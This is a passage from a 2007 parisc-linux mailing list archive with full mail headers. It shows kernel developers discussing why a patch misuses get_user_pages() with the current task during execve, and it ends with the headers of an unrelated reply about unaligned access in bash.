parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_33774_26921243.1178441494253--



From - Thu Nov 08 21:35:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Sun, 06 May 2007 09:23:22 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1178461403.3760.10.camel__33168.9313672998$1416624353$gmane$org@mulgrave.il.steeleye.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624353 23758 80.91.229.3 (22 Nov 2014 02:45:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:53 +0000 (UTC)
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>,
 parisc-linux@lists.parisc-linux.org
To: Ollie Wild <aaw@google.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 May 2007 14:23:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 06 May 2007 16:23:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68B297DC9F;
	Sun,  6 May 2007 08:23:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09178-04; Sun, 6 May 2007 08:23:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41B2E7DC9B;
	Sun,  6 May 2007 08:23:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC9F67DC98
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 08:23:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09090-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 08:23:30 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id CA17A7DC95
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 08:23:29 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l46ENNk27509; 
	Sun, 6 May 2007 10:23:23 -0400
In-Reply-To: <65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-2.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jIhWLkMcTlIvl7eQeGhrr01GU2poZdkK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24529

On Thu, 2007-05-03 at 01:11 -0700, Ollie Wild wrote:
> Is this a bug in get_user_pages()?  Should it be calling
> flush_cache_page() directly?

Just for the sake of completeness, the answer to this is "no".  The
anonymous page part of get_user_pages() is designed to gather pages from
current processes only (an then, the only in-tree user we have is fuse
and that's a bit of a hack).  The problem with your patch is that you're
trying to gather non-current pages.

It took me a while to discover this, largely because you do this:

+                               ret = get_user_pages(current, bprm->mm, pos,
+                                                    1, 1, 1, &page, NULL);

That's horribly wrong ... you can't use the current process context to
gather non-current pages ... if anything goes wrong and the page needs
faulting (unusual for a nascent process, but not impossible) you'll get
into terrible trouble because the mapping for the page isn't in current.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Sun, 06 May 2007 16:42:24 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <1178462545.2789.1.camel__33049.2608169608$1416624354$gmane$org@lappy>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
	<1178461403.3760.10.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624354 23759 80.91.229.3 (22 Nov 2014 02:45:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:54 +0000 (UTC)
Cc: Ollie Wild <aaw@google.com>,
 parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 May 2007 14:48:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 06 May 2007 16:48:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9FC07DCA4;
	Sun,  6 May 2007 08:48:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09524-08; Sun, 6 May 2007 08:48:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76DE17DCA5;
	Sun,  6 May 2007 08:48:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 314997DCA2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 08:48:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09524-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 08:48:18 -0600 (MDT)
Original-Received: from amsfep13-int.chello.nl (unknown [213.46.243.15])
	by free.linux.hp.com (Postfix) with ESMTP id 093807DCA1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 08:48:17 -0600 (MDT)
Original-Received: from programming.kicks-ass.net ([62.195.55.87])
	by amsfep13-int.chello.nl
	(InterMail vM.6.01.04.04 201-2131-118-104-20050224) with ESMTP id
	<20070506144815.FBZC4132.amsfep13-int.chello.nl@programming.kicks-ass.net>;
	Sun, 6 May 2007 16:48:15 +0200
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by programming.kicks-ass.net (Postfix) with ESMTP id E074E5C43C6;
	Sun,  6 May 2007 16:42:27 +0200 (CEST)
In-Reply-To: <1178461403.3760.10.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.8.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jt0Pdz9hIyd11fqQe2dr7VBaa2FkZtWC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24530

On Sun, 2007-05-06 at 09:23 -0500, James Bottomley wrote:
> On Thu, 2007-05-03 at 01:11 -0700, Ollie Wild wrote:
> > Is this a bug in get_user_pages()?  Should it be calling
> > flush_cache_page() directly?
> 
> Just for the sake of completeness, the answer to this is "no".  The
> anonymous page part of get_user_pages() is designed to gather pages from
> current processes only (an then, the only in-tree user we have is fuse
> and that's a bit of a hack).  The problem with your patch is that you're
> trying to gather non-current pages.
> 
> It took me a while to discover this, largely because you do this:
> 
> +                               ret = get_user_pages(current, bprm->mm, pos,
> +                                                    1, 1, 1, &page, NULL);
> 
> That's horribly wrong ... you can't use the current process context to
> gather non-current pages ... if anything goes wrong and the page needs
> faulting (unusual for a nascent process, but not impossible) you'll get
> into terrible trouble because the mapping for the page isn't in current.

Right, what would be the proper way to go about this, a NULL tsk?
Because the bprm->mm is un-owned at this point in time. That is, there
is no process context associated with it at all.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Sun, 06 May 2007 10:39:11 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <1178465951.3760.23.camel__27232.0941011005$1416624354$gmane$org@mulgrave.il.steeleye.com>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
	<1178461403.3760.10.camel@mulgrave.il.steeleye.com>
	<1178462545.2789.1.camel@lappy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624354 23764 80.91.229.3 (22 Nov 2014 02:45:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:54 +0000 (UTC)
Cc: Ollie Wild <aaw@google.com>,
 parisc-linux@lists.parisc-linux.org
To: Peter Zijlstra <a.p.zijlstra@chello.nl>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 May 2007 15:39:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 06 May 2007 17:39:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE8257DCAE;
	Sun,  6 May 2007 09:39:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10229-01; Sun, 6 May 2007 09:39:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B57947DCB0;
	Sun,  6 May 2007 09:39:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C0087DCAC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 09:39:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10042-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 09:39:19 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 126527DCAB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 09:39:18 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l46FdCk30715; 
	Sun, 6 May 2007 11:39:12 -0400
In-Reply-To: <1178462545.2789.1.camel@lappy>
X-Mailer: Evolution 2.8.3 (2.8.3-2.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i8QEc5VyeWU7l7eUfHVzGM05U3U4N49s
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24531

On Sun, 2007-05-06 at 16:42 +0200, Peter Zijlstra wrote:
> > It took me a while to discover this, largely because you do this:
> > 
> > +                               ret = get_user_pages(current, bprm->mm, pos,
> > +                                                    1, 1, 1, &page, NULL);
> > 
> > That's horribly wrong ... you can't use the current process context to
> > gather non-current pages ... if anything goes wrong and the page needs
> > faulting (unusual for a nascent process, but not impossible) you'll get
> > into terrible trouble because the mapping for the page isn't in current.
> 
> Right, what would be the proper way to go about this, a NULL tsk?
> Because the bprm->mm is un-owned at this point in time. That is, there
> is no process context associated with it at all.

Heh, no good way I can think of ... you certainly can't use NULL.  But
look at what you're doing.  You're using the stack expansion functions
to populate the mm's vma ... then you use get_user_pages() to place the
pages into the vma.  I suspect it only works because you're in the
middle of a fork and the new process is structurally almost identical to
the old one, so get_user_pages() is using pieces of current (mainly the
task gate) and accounting all the page faults the new process is taking
to current.

The thing which worries me is that this user of get_user_pages() is very
fragile.  Fortunately, you have the mm ... certainly on parisc, that's
the primary coherence entity for memory management (we don't really care
what the task is).

However, the fragility could be greatly reduced if you could do this
later when you do have a task structure ... then you could even use the
appropriate APIs, like access_proces_vm() or copy_to_user_page() which
will take care of the architecturally necessary flushing for you.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory management issues
Date: Sun, 06 May 2007 18:01:48 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <1178467308.2810.4.camel__47494.6779701442$1416624354$gmane$org@lappy>
References: <65dd6fd50704301144k77003d1he9f85f4bb6cf2ace@mail.gmail.com>
	<1178149192.3712.28.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705021652s3b3b721dl6a8323259cd4efa9@mail.gmail.com>
	<1178153532.3712.39.camel@mulgrave.il.steeleye.com>
	<65dd6fd50705030111i993390bx829ee5eb8a188462@mail.gmail.com>
	<1178461403.3760.10.camel@mulgrave.il.steeleye.com>
	<1178462545.2789.1.camel@lappy>
	<1178465951.3760.23.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624354 23769 80.91.229.3 (22 Nov 2014 02:45:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:54 +0000 (UTC)
Cc: Ollie Wild <aaw@google.com>,
 parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 May 2007 16:07:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 06 May 2007 18:07:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02B9B7DCB5;
	Sun,  6 May 2007 10:07:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10365-10; Sun, 6 May 2007 10:07:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C13257DCB6;
	Sun,  6 May 2007 10:07:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 476237DCB4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 10:07:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10365-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 10:07:36 -0600 (MDT)
Original-Received: from amsfep17-int.chello.nl (amsfep17-int.chello.nl [62.179.120.12])
	by free.linux.hp.com (Postfix) with ESMTP id 2ADDD7DCAE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 10:07:36 -0600 (MDT)
Original-Received: from programming.kicks-ass.net ([62.195.55.87])
	by amsfep17-int.chello.nl
	(InterMail vM.6.01.04.04 201-2131-118-104-20050224) with ESMTP id
	<20070506160734.NRIY29853.amsfep17-int.chello.nl@programming.kicks-ass.net>;
	Sun, 6 May 2007 18:07:34 +0200
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by programming.kicks-ass.net (Postfix) with ESMTP id 7B50C5C43BD;
	Sun,  6 May 2007 18:01:50 +0200 (CEST)
In-Reply-To: <1178465951.3760.23.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.8.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YMoPdzhhIyd11fqQe2dry8paa2FkZhVW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24532

On Sun, 2007-05-06 at 10:39 -0500, James Bottomley wrote:
> On Sun, 2007-05-06 at 16:42 +0200, Peter Zijlstra wrote:
> > > It took me a while to discover this, largely because you do this:
> > > 
> > > +                               ret = get_user_pages(current, bprm->mm, pos,
> > > +                                                    1, 1, 1, &page, NULL);
> > > 
> > > That's horribly wrong ... you can't use the current process context to
> > > gather non-current pages ... if anything goes wrong and the page needs
> > > faulting (unusual for a nascent process, but not impossible) you'll get
> > > into terrible trouble because the mapping for the page isn't in current.
> > 
> > Right, what would be the proper way to go about this, a NULL tsk?
> > Because the bprm->mm is un-owned at this point in time. That is, there
> > is no process context associated with it at all.
> 
> Heh, no good way I can think of ... you certainly can't use NULL.

heh, I suspected that might not work out :-)

>   But
> look at what you're doing.  You're using the stack expansion functions
> to populate the mm's vma ... then you use get_user_pages() to place the
> pages into the vma.  I suspect it only works because you're in the
> middle of a fork

execve, actually. there is only one task_struct, but two mm_structs.

>  and the new process is structurally almost identical to
> the old one, so get_user_pages() is using pieces of current (mainly the
> task gate) and accounting all the page faults the new process is taking
> to current.
> 
> The thing which worries me is that this user of get_user_pages() is very
> fragile.  Fortunately, you have the mm ... certainly on parisc, that's
> the primary coherence entity for memory management (we don't really care
> what the task is).
> 
> However, the fragility could be greatly reduced if you could do this
> later when you do have a task structure ... then you could even use the
> appropriate APIs, like access_proces_vm() or copy_to_user_page() which
> will take care of the architecturally necessary flushing for you.

Well, it would be the same task_struct that we currently have, its just
that we need to copy stuff from the old mm to the new mm, there is no
point in time where both have an associated task_struct.



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Sun, 6 May 2007 09:11:42 -0700
Lines: 82
Approved: news@gmane.org
Message-ID: <5b2e36650705060911l27d0ac7co957cefcf40e03ad2__39458.6002840244$1416624355$gmane$org@mail.gmail.com>
References: <119aab440705021021i35132820we4338ae3ca1862cd@mail.gmail.com>
	<200705021815.l42IFqYS018776@hiauly1.hia.nrc.ca>
	<5b2e36650705030552l100c7ecayfc848248aac679c9@mail.gmail.com>
	<119aab440705031658g22e8be87p6b4c477a18501f5@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624355 23770 80.91.229.3 (22 Nov 2014 02:45:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:55 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 May 2007 16:11:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 06 May 2007 18:11:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 378627DCC2;
	Sun,  6 May 2007 10:11:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10623-09; Sun, 6 May 2007 10:11:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDC457DCC3;
	Sun,  6 May 2007 10:11:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B1F97DCC0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 10:11:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10623-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 6 May 2007 10:11:43 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.230])
	by free.linux.hp.com (Postfix) with ESMTP id B7CC87DCB0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  6 May 2007 10:11:43 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i4so1530801wra
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 06 May 2007 09:11:43 -0700 (PDT)
Original-Received: by 10.115.55.1 with SMTP id h1mr1810172wak.1178467902164;
	Sun, 06 May 2007 09:11:42 -0700 (PDT)
Original-Received: by 10.114.155.2 with HTTP; Sun, 6 May 2007 09:11:42 -0700 (PDT)
In-Reply-To: <119aab440705031658g22e8be87p6b4c477a18501f5@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
